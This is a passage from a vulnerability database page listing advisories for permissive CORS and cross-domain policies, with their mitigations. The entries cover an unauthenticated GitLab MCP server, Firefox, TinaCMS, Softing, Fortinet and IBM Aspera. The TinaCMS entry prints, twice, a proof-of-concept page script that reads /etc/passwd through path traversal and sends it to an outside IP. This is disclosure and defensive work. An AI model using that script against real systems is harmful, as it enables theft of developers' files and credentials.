endpoint that is backed by the operator\u0027s `GITLAB_PERSONAL_ACCESS_TOKEN` without any inbound credential check, then advertises itself to every cross-origin browser context via the wildcard CORS header. The `httpServer.listen(port)` call at line 97 also passes no host argument, so the bind defaults to `0.0.0.0` and exposes the auth-less surface on every interface. Auth isn\u0027t fail-opening on a missing config \u2014 there is no auth check at any code path on either `/sse` or `/messages?sessionId=...`.\n\n## Auth boundary violated\n\nTrust-domain boundary \u2014 untrusted cross-origin browser context (and any unauthenticated network caller) crossing into the trusted server-state-mutating GitLab API surface that the operator\u0027s PAT backs. Respected-here: nothing. The transport carries no `Authorization` check, no origin allowlist, no session-binding to the originating client, and no host restriction. Ignored-there: the SSE handler at `src/transport.ts` accepts an arbitrary `Origin` (since `Access-Control-Allow-Origin: *`), opens a session, and the matching `POST /messages?sessionId=...` proxies tool calls \u2014 including `delete_repository`, `push_files`, `update_repository_settings` \u2014 to the GitLab API using the operator\u0027s PAT. Any web page the operator visits while the server runs can drive the full 86-tool surface via cross-origin fetch.\n\nThe roadmap in `README.md` at line 190 includes `- [ ] SAML/OAuth3 authentication` \u2014 confirming the maintainers are already tracking this gap. The issue is disclosure of impact in the interim: operators who follow the README\u0027s SSE setup instructions and don\u0027t see an auth requirement in the docs may reasonably assume the transport is safe to use on a network-accessible host.\n\n**CVSS 4.0:** `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N` \u2014 **~6.3 (Medium)**. `AT:P` reflects the `USE_SSE=true` precondition. When that precondition is met, the effective severity for those deployments is High \u2014 full GitLab PAT access without authentication. The Medium CVSS is the aggregate across all deployments; for any operator who has activated SSE mode (which the README promotes as a feature), the finding is functionally High.\n\n**Fix \u2014 four concrete changes:**\n\n1. Require `MCP_GITLAB_AUTH_TOKEN` as a startup precondition when `USE_SSE=true`. If the env var is unset, the server should exit with a clear message before the HTTP server starts:\n\n ```typescript\n if (process.env.USE_SSE === \u0027true\u0027) {\n if (!process.env.MCP_GITLAB_AUTH_TOKEN) {\n console.error(\n \u0027ERROR: MCP_GITLAB_AUTH_TOKEN must be set when USE_SSE=true. \u0027 +\n \u0027SSE transport without authentication exposes all GitLab tools to unauthenticated callers.\u0027\n );\n process.exit(1);\n }\n }\n ```\n\n The token check in `src/transport.ts` validates it on every request:\n ```typescript\n const authToken = process.env.MCP_GITLAB_AUTH_TOKEN;\n if (authToken) {\n const provided = req.headers[\u0027authorization\u0027]?.replace(/^Bearer /, \u0027\u0027);\n if (provided !== authToken) {\n res.writeHead(401);\n res.end(JSON.stringify({ error: \u0027Unauthorized\u0027 }));\n return;\n }\n }\n ```\n\n2. Bind to `127.0.0.1` by default for the SSE transport rather than `0.0.0.0`. An explicit `MCP_GITLAB_HOST=0.0.0.0` flag with a startup banner warning can expose it to the network for operators who need that \u2014 but the safe default should be loopback-only.\n\n3. Replace the wildcard `Access-Control-Allow-Origin: *` with a localhost-only default. When network exposure is intentional (explicit flag + auth token set), an explicit `CORS_ORIGINS` allowlist should be required.\n\n4. The SAML/OAuth3 roadmap item is the right long-term direction. In the interim \u2014 before that ships \u2014 the three changes above are entirely in the existing codebase with no new dependencies.\n\n---\n\nNo prior security advisories, CVEs, or public security issues exist for this package \u2014 a search of the repository issue list and npm advisory database did not yield any duplicate issues.",
"id": "GHSA-8jr5-6gvj-rfpf",
"modified": "2026-06-08T23:34:55Z",
"published": "2026-05-09T00:10:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yoda-digital/mcp-gitlab-server/security/advisories/GHSA-8jr5-6gvj-rfpf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44895"
},
{
"type": "PACKAGE",
"url": "https://github.com/yoda-digital/mcp-gitlab-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@yoda.digital/gitlab-mcp-server\u0027s SSE transport has no authentication and wildcard CORS, exposing all 86 GitLab tools"
}
GHSA-8PRR-WP36-5MV2
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-19 21:31Same-origin policy bypass in the DOM: Notifications component. This vulnerability affects Firefox < 145 and Firefox ESR < 140.5.
{
"affected": [],
"aliases": [
"CVE-2025-13017"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T16:15:38Z",
"severity": "HIGH"
},
"details": "Same-origin policy bypass in the DOM: Notifications component. This vulnerability affects Firefox \u003c 145 and Firefox ESR \u003c 140.5.",
"id": "GHSA-8prr-wp36-5mv2",
"modified": "2025-11-19T21:31:17Z",
"published": "2025-11-11T18:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13017"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1980904"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-87"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-88"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-90"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-91"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8PW3-9M7F-Q734
Vulnerability from github – Published: 2026-03-12 20:32 – Updated: 2026-03-12 20:32Summary
The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.
Details
The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:
- packages/@tinacms/cli/src/server/server.ts:
app.use(cors());
- packages/@tinacms/cli/src/next/vite/plugins.ts:
server.middlewares.use(cors());
When combined with the path traversal vulnerability, this creates a complete attack chain.
Attack Scenario
Prerequisites
- Developer runs
tinacms dev(default port 4001) - Developer visits attacker's website while TinaCMS is running
No other conditions required - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost
Attack Flow
- Developer starts TinaCMS:
tinacms dev - Developer browses the web (checking email, social media, etc.)
- Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
- Attacker's JavaScript exploits CORS + path traversal to read sensitive files
- Files are exfiltrated to attacker's server
PoC
Attacker's Malicious Website (evil.html):
<script>
fetch('http://localhost:4001/../../../etc/passwd')
.then(r => r.text())
.then(data => {
// Exfil via GET
const img = new Image();
img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
});
</script>
Demonstration
Step 1: Start TinaCMS dev server
tinacms dev
# Server running on http://localhost:4001
Step 2: Host evil.html on attacker server
python3 -m http.server 8000
Step 3: Developer visits http://attacker-server:8000/evil.html
Result: The browser makes cross-origin requests to localhost:4001.
Because cors() returns Access-Control-Allow-Origin: *, the browser
allows the JavaScript to read the responses. Directory listings from
outside the media directory are sent to the attacker's server.
Impact
Who is affected
Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.
What an attacker achieves
By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:
- Enumerate the developer's filesystem directory listings via
/media/list/with path traversal reveal file and folder names across the entire filesystem - Discover sensitive files locate
.env,.git/config, SSH keys, cloud credentials, database configs - Write arbitrary files via
/media/upload/with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts - Delete arbitrary files via
/media/DELETE with path traversal
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@tinacms/cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28792"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T20:32:09Z",
"nvd_published_at": "2026-03-12T17:16:50Z",
"severity": "CRITICAL"
},
"details": "## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer\u0027s machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker\u0027s website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn\u0027t need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker\u0027s JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker\u0027s server\n\n## PoC\n### Attacker\u0027s Malicious Website (evil.html):\n```\n\u003cscript\u003e\nfetch(\u0027http://localhost:4001/../../../etc/passwd\u0027)\n .then(r =\u003e r.text())\n .then(data =\u003e {\n // Exfil via GET\n const img = new Image();\n img.src = \u0027http://192.168.11.117:8080/exfil?data=\u0027 + encodeURIComponent(data);\n });\n\u003c/script\u003e\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker\u0027s server.\n\u003cimg width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" /\u003e\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer\u0027s filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`, SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal",
"id": "GHSA-8pw3-9m7f-q734",
"modified": "2026-03-12T20:32:09Z",
"published": "2026-03-12T20:32:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28792"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/pull/6450"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinacms/tinacms"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS"
}
GHSA-8WCR-JRJM-3Q6F
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30Softing edgeAggregator Permissive Cross-domain Policy with Untrusted Domains Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Softing edgeAggregator. Authentication is required to exploit this vulnerability.
The specific flaw exists within the configuration of the web server. The issue results from the lack of appropriate Content Security Policy headers. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-20542.
{
"affected": [],
"aliases": [
"CVE-2023-38125"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:15:10Z",
"severity": "HIGH"
},
"details": "Softing edgeAggregator Permissive Cross-domain Policy with Untrusted Domains Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Softing edgeAggregator. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the configuration of the web server. The issue results from the lack of appropriate Content Security Policy headers. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-20542.",
"id": "GHSA-8wcr-jrjm-3q6f",
"modified": "2024-05-03T03:30:55Z",
"published": "2024-05-03T03:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38125"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1059"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8X2V-M87X-JX78
Vulnerability from github – Published: 2023-11-14 21:31 – Updated: 2023-11-14 21:31A permissive cross-domain policy with untrusted domains vulnerability in Fortinet FortiADC 7.1.0 - 7.1.1, FortiDDoS-F 6.3.0 - 6.3.4 and 6.4.0 - 6.4.1 allow an unauthorized attacker to carry out privileged actions and retrieve sensitive information via crafted web requests.
{
"affected": [],
"aliases": [
"CVE-2023-25603"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-14T19:15:19Z",
"severity": "MODERATE"
},
"details": "A permissive cross-domain policy with untrusted domains vulnerability in Fortinet FortiADC 7.1.0 - 7.1.1, FortiDDoS-F 6.3.0 - 6.3.4 and 6.4.0 - 6.4.1 allow an unauthorized attacker to carry out privileged actions and retrieve sensitive information via crafted web requests.",
"id": "GHSA-8x2v-m87x-jx78",
"modified": "2023-11-14T21:31:01Z",
"published": "2023-11-14T21:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25603"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-22-518"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-92R7-2X48-7RM2
Vulnerability from github – Published: 2025-10-09 15:31 – Updated: 2025-10-09 15:31IBM Aspera Faspex 5.0.0 through 5.0.13.1 uses a cross-domain policy file that includes domains that should not be trusted.
{
"affected": [],
"aliases": [
"CVE-2023-37401"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-09T14:15:53Z",
"severity": "MODERATE"
},
"details": "IBM Aspera Faspex 5.0.0 through 5.0.13.1 uses a cross-domain policy file that includes domains that should not be trusted.",
"id": "GHSA-92r7-2x48-7rm2",
"modified": "2025-10-09T15:31:03Z",
"published": "2025-10-09T15:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37401"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7247502"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Attack Surface Reduction
Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.
Mitigation
Strategy: Attack Surface Reduction
Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.
Mitigation
Strategy: Environment Hardening
For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.
No CAPEC attack patterns related to this CWE.